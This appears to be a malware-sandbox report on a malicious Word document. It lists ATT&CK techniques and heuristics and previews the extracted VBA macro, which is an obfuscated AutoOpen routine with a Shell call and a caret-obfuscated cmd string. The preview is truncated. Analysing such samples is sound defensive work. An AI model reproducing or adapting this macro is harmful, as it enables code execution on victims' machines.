MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Word document containing a VBA macro with an AutoOpen subroutine, a common technique for malicious documents. The macro code is heavily obfuscated and truncated, making it difficult to determine its exact functionality. However, the presence of AutoOpen and the obfuscation strongly suggest it's designed to download and execute a secondary payload. The document body is also obfuscated, providing no clear lure.
Heuristics 4
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7970 bytes |
SHA-256: 7502f85ee8a21f90a48ca917d28e8c5fe2d06882db0d97f59f2bd2c844f8e2dd |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ZVXOZSsdjVzZO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim aQIDZS()
ReDim aQIDZS(3)
aQIDZS(0) = MidB(IDEcJJoT, 890, 860)
aQIDZS(1) = MidB(rXlKZrJr, 992, 705)
aQIDZS(2) = Right(cDAlw, 842)
Dim iRCnj()
ReDim iRCnj(2)
iRCnj(0) = Right(DwLAt, 591)
iRCnj(1) = MidB(imSMO, 304, 823)
Dim SGBaAb()
ReDim SGBaAb(5)
SGBaAb(0) = Left(MwikOf, 796)
SGBaAb(1) = "BEWvwrGFzu"
SGBaAb(2) = Right(iZicwt, 715)
SGBaAb(3) = Right(jhifCVn, 761)
SGBaAb(4) = Left(zZUGccNL, 393)
Dim FwVQd()
ReDim FwVQd(5)
FwVQd(0) = Right(ptXhfz, 353)
FwVQd(1) = "oIbTjrLX"
FwVQd(2) = Mid(umAvkm, 41, 888)
FwVQd(3) = Right(FZoCJEC, 362)
FwVQd(4) = "BhVnZBwVuim"
Dim whXaid()
ReDim whXaid(2)
whXaid(0) = "EHVmztsn"
whXaid(1) = Right(zXQQEJp, 70)
Dim qMADjj()
ReDim qMADjj(2)
qMADjj(0) = Mid(wiUjqcvF, 56, 357)
qMADjj(1) = "UZKDKFX"
jtGzoEDUWqq (KeyString(5 + 10 + 10 + 11 + 31) + lkkXiuUzP + zPsTHrWbGijZZq + LjofJKjvLVXios)
Dim usstHn()
ReDim usstHn(3)
usstHn(0) = MidB(iTpcVQIj, 567, 236)
usstHn(1) = "KjpvMIjGh"
usstHn(2) = Mid(RIojQ, 272, 798)
Dim Rutnf()
ReDim Rutnf(5)
Rutnf(0) = Left(SzApzNi, 686)
Rutnf(1) = Right(QmYzJF, 347)
Rutnf(2) = Mid(HVjMALPX, 81, 408)
Rutnf(3) = MidB(NPKtdNK, 575, 584)
Rutnf(4) = MidB(jlipti, 265, 234)
Dim RfipO()
ReDim RfipO(5)
RfipO(0) = Mid(fHXRh, 154, 314)
RfipO(1) = "rZWPdUTjpnjwIl"
RfipO(2) = MidB(rmOKPI, 885, 242)
RfipO(3) = "fJDjIsdbiNiw"
RfipO(4) = Left(ZOzAk, 804)
Dim EzzlRv()
ReDim EzzlRv(4)
EzzlRv(0) = "SlkRt"
EzzlRv(1) = MidB(vWEFsvkw, 522, 763)
EzzlRv(2) = "akFWGc"
EzzlRv(3) = MidB(LLndN, 304, 485)
End Sub
Function jtGzoEDUWqq(LNIpE As String)
Dim GPHnT()
ReDim GPHnT(4)
GPHnT(0) = Mid(rMHWJB, 336, 20)
GPHnT(1) = Left(MEGWhW, 631)
GPHnT(2) = "nfOD"
GPHnT(3) = MidB(hrOZGj, 686, 446)
Dim CLiAR()
ReDim CLiAR(2)
CLiAR(0) = MidB(DSUWq, 497, 973)
CLiAR(1) = Right(MhCGrQD, 534)
Dim OnrXCQ()
ReDim OnrXCQ(4)
OnrXCQ(0) = Right(juDDA, 26)
OnrXCQ(1) = Right(OvrwjkK, 23)
OnrXCQ(2) = MidB(oQLAw, 96, 49)
OnrXCQ(3) = Mid(duRQXp, 358, 864)
Dim aFjVqG()
ReDim aFjVqG(5)
aFjVqG(0) = Right(FkbIpb, 762)
aFjVqG(1) = Right(DzikfcDw, 655)
aFjVqG(2) = "p"
aFjVqG(3) = Mid(LBiEaTu, 518, 231)
aFjVqG(4) = Right(ibNwkp, 444)
Shell@ LNIpE, CInt(msoBarTypeNormal)
Dim HkukR()
ReDim HkukR(4)
HkukR(0) = "IqurwQuIkJzcfw"
HkukR(1) = "fYM"
HkukR(2) = Right(KUjFGJQ, 528)
HkukR(3) = Left(zSbfIu, 540)
Dim fjGmE()
ReDim fjGmE(3)
fjGmE(0) = MidB(WQasl, 621, 671)
fjGmE(1) = "u"
fjGmE(2) = MidB(ZCUHE, 429, 374)
Dim Jwjiuk()
ReDim Jwjiuk(2)
Jwjiuk(0) = Left(HtoiFbLi, 90)
Jwjiuk(1) = MidB(cZloi, 652, 786)
End Function
Attribute VB_Name = "RhRTkUVr"
Function lkkXiuUzP()
Dim ErEJLh()
ReDim ErEJLh(2)
ErEJLh(0) = "f"
ErEJLh(1) = Mid(XWorEwiC, 219, 29)
Dim WqrwOV()
ReDim WqrwOV(3)
WqrwOV(0) = Right(XlGCScRi, 983)
WqrwOV(1) = MidB(iYlbbd, 709, 600)
WqrwOV(2) = "jFX"
Dim vMGRE()
ReDim vMGRE(4)
vMGRE(0) = Mid(jArKwfXk, 556, 731)
vMGRE(1) = Right(iMXTT, 241)
vMGRE(2) = Right(IutmsK, 284)
vMGRE(3) = "FzmpGurW"
Dim EnEhBN()
ReDim EnEhBN(2)
EnEhBN(0) = MidB(wMNHH, 327, 367)
EnEhBN(1) = "PmTijjc"
IrYmd = "md /V^:/C" + ChrW(3 + 2 + 4 + 2 + 23) + "^" + "s^e^t ^" + "zf" + "= ^ ^ " + " ^ ^ ^ " + " ^ " + "^ ^}^" + "}{^hc^t^" + "a" + "c" + "};k^aer^b^;^" + "a^D^L^$^ m" + "^et^I-^e^k"
Dim GUrsC()
ReDim GUrsC(5)
GUrsC(0) = Right(sbwPKkbz, 778)
GUrsC(1) = Mid(KvzHh, 922, 443)
GUrsC(2) = Right(YznfMqp, 873)
GUrsC(3) = MidB(DGzRC, 833, 921)
GUrsC(4) = Left(iQLuOKpS, 722)
Dim hziKzR()
ReDim hziKzR(5)
hziKzR(0) = Mid(ECNPHa, 330, 467)
hziKzR(1) = MidB(tqrIEB, 157, 970)
hziKzR(2) = Right(LfJmwMb, 175)
hziKzR(3) = Mid(MMVwAz, 658, 741)
hziKzR(4) = Right(mTIldqmv, 524)
Dim qjVlRO()
ReDim qjVlRO(4)
qjVlRO(0) = Mid
... (truncated)
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